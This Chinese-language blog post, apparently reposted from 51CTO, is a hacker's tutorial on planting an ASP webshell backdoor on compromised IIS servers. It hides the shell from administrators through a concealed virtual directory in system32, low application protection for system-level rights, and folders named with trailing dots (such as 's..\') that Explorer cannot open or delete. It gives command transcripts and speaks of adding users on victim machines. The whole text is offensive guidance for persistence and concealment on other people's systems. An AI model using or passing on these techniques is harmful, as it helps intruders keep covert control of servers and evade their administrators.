建造永不被殺的80端口後門

參考LCX在X檔案發表過永遠不被殺的的後門，自己就實驗起來,隻要把ASP木馬放到其中一個站點中某個深的目錄中，再在Internet 服務管理器面中選着這個站點（比如預設管理站點）打開修改屬性->主目錄中，把“應用程式保護”中改為"低"，再在"寫入""前面打上鈎，在浏覽器中輸入ASP木馬路徑，輸入密碼以後進入管理頁面，運作CMD指令還可以加使用者之類的果然是管理者權限，呵呵用後發覺還不錯，自覺以為就不錯，而且上傳檔案都是在WEB程序上來着，而且還有系統權限，還覺得這樣建立殭屍電腦相對來說比較安全就走了，後來想不到不過幾天這個後門過幾就沒了，浏覽上去什麼都連ASP木馬都沒了，到底怎麼回事？而且對方還搞了防火牆，隻開21，80端口，眼汪汪丢去真可惜，看來管理者是察覺到了。看着我想有兩個可能，一是ASP木馬被殺，被管理者查到ASP木馬就删了，二是那個可能管理者看到這個站點的屬性改了就XXX~~~~，你也許會說用站點屬性修改過的可以“寫入”來寫個木馬上去，可是錯了，管理者把預設管理站點都删了，或者者做其他修改了，昏，本來好好的後門卻成了比較明顯的暴露給管理者看了，而且最新的ASP也被會殺毒，看來個ASP看來這種方法也是不太隐蔽，還需要改進，突然想到可以通過後來參考建立隐藏首頁，而且是虛拟目錄可以設定“應用程式保護”為低的，其他站點中的目錄屬性是不可以設定這樣的屬性的，這樣就不會暴露Internet 服務管理器中任何修改的迹象了，（對于一般的管理者來說，對于BT的我就不敢說了），OK我們來第一步

建立個隐藏虛拟首頁（同時也可以做首頁一舉兩得）

一般情況下，如果在殭屍電腦上開首頁的話，隻要管理者檢視一下iis管理器程式，就會發現我們的首頁，這樣不但我們的首頁暴露了，還可能會被管理者把我們給踢出去。而今天我教大家的方法是讓管理者在iis管理器裡發現不了方法。首先打開肉機（本例中以自己的機器為例）iis管理器，標明一個檔案夾，然後點選右鍵，選擇“資料總管”，到網站的根目錄下建立一個檔案夾kiss，然後到system32上建立一個檔案夾，我這裡取名為myhome（這個檔案夾盡量隐蔽的目錄深一些，才不會被管理者發現），回到iis管理器按f5重新整理就會看到kiss這個目錄，選中它後，點選右鍵，選擇“建立>虛拟目錄”，我們給主個虛拟目錄取名kiss，然後把這個虛拟目錄指向myhome，建立完成後，現在放個首頁進去，打開浏覽器，輸入

二讓ASP木馬不被殺

你要說是修改ASP木馬其中代碼或者加密等來逃避殺毒，錯了，這個不用你修改，而且誰也不保證你修改過的ASP不被XX防毒軟體殺，反正我也是懶改，呵呵，我們運作CMD，cd c:\winnt\system32\myhome下也。也就是你虛拟目錄轉向的位址，先說一下原理大家都知道在Windows中“\”符号是路徑的分隔符号，比如“C:\Windows\”的意思就是C分區中的Windows檔案夾，“C:\Windows\System.exe”的意思就是C分區中的Windows檔案夾中的System.exe檔案，好繼續我們假設一下：

如果檔案名中有“\”符号會怎麼樣呢？假如“S\”是一個檔案夾的名字，這個檔案夾位于：“F:\”，他的路徑就是“F:\S\”，當我們試圖通路的時候Windows會錯誤的認為我們要打開的檔案是C分區的S檔案夾，這樣Windows就無法打開并且會傳回一個錯誤，因為以上的路徑并不存在。

也許你現在正在嘗試建立“S\”檔案，但是Windows會提示你：“\”符号是不能作為檔案、檔案夾的名字的。看來Windows還是早已想到這一點了的。OK我們繼續進行，就不信不能建立包含“\”符号的檔案。

現在打開你的電腦，我們要做一些很有趣的嘗試。進入Windows後 點選：開始>運作 然後輸入“cmd”并會車（如果是Win98請輸入“COMMAND”），這時你會看到Windows的指令控制台，我們就是要利用它完成我們剩下的測試，以下包含了很多指令其中{}中的字元是我的注釋：

Microsoft Windows XP [版本 5.1.2600]

(C) 版權所有 1985-2001 Microsoft Corp.

c:\winnt\system32\myhome>mkdir s\ {我們的第一次嘗試,結果Windows隻建立了S檔案夾"\"被忽略掉了}

c:\winnt\system32\myhome>mkdir s\s1\ {還是失敗,Windows先建立了S檔案夾，然後在S内建立s1檔案夾}

c:\winnt\system32\myhome>mkdir s.\ {"s.\"被解析成S".\"又被忽略了}

子目錄或檔案 s.\ 已經存在。

c:\winnt\system32\myhome>mkdir s..\ {終于成功了,現在你可以在資料總管看到"s."但卻無法打開/删除}

c:\winnt\system32\myhome>mkdir s...\ {又成功了,在資源浏覽器能吹?s.."可以打開但是無法删除}

----------------------------------------------

為什麼會這樣？我們先說你看到的這個“S.”檔案夾，他即不能打開也不能删除，不能打開是因為他的實際路徑是“c:\winnt\system32\myhome\s..\”（我們自己建立的是以可以确定他的實際路徑）但是在Windows資料總管中名字變成了“S.”也就是說當你試圖打開它的時候Windows實際上嘗試打開“c:\winnt\system32\myhome\s.\”當然是不能打開的，檔案并不存在，是以Windows會報錯。不能删除也是因為這個，Windows把一個實際存在的檔案路徑錯誤的解析為一個不存在的路徑，并進行xx作當然是無法完成的。

該說“S..”這個檔案了，這個檔案可以打開，但是卻無法删除。等等……打開？你以為Windows真的是打開了我們建立的“s...\”檔案了嗎？我們做下面的試驗你就明白了。還是老規矩{}是我的注釋友善大家了解：

c:\winnt\system32\myhome>copy net.asp s..\ {複制剛剛你的asp的木馬檔案到“s..\”，資料總管的“S.”}

已複制 1 個檔案。

c:\winnt\system32\myhome>

現在回到你的資料總管打開“S.”檔案夾，你看到了什麼？“net.asp”檔案怎麼會在這裡？我們剛剛的确複制到了“S.”呀？難道我們打開“S.”檔案夾實際上就是打開了“S”？不錯事實就是這樣。其實如果你再建立一個“S”檔案夾的話“S.”就能打開了，但是實際上打開的是“S”。

F:\Test>dir

驅動器 F 中的卷是 BGTING

卷的序列号是 2C8E-FE1C

F:\Test 的目錄

2003-09-11 17:50 <DIR> .

2003-09-11 17:50 <DIR> ..

2003-09-11 18:35 <DIR> s.

2003-09-11 18:37 <DIR> s..

1 個檔案 9 位元組

5 個目錄 3,390,029,824 可用位元組

c:\winnt\system32\myhome>rmdir s..\

目錄不是空的。

c:\winnt\system32\myhome>rmdir s..\ /s

s..\, 是否确認(Y/N)? y

c:\winnt\system32\myhome>rmdir s...\ /s

s...\, 是否确認(Y/N)? y

這也不用擔心搞壞你殭屍電腦了，好了這樣一個很隐蔽的後門就建立了，而且不被殺，如果在殭屍電腦，上述要在3389進行測試通過的

本文轉自loveme2351CTO部落格，原文連結：http://blog.51cto.com/loveme23/8521 ，如需轉載請自行聯系原作者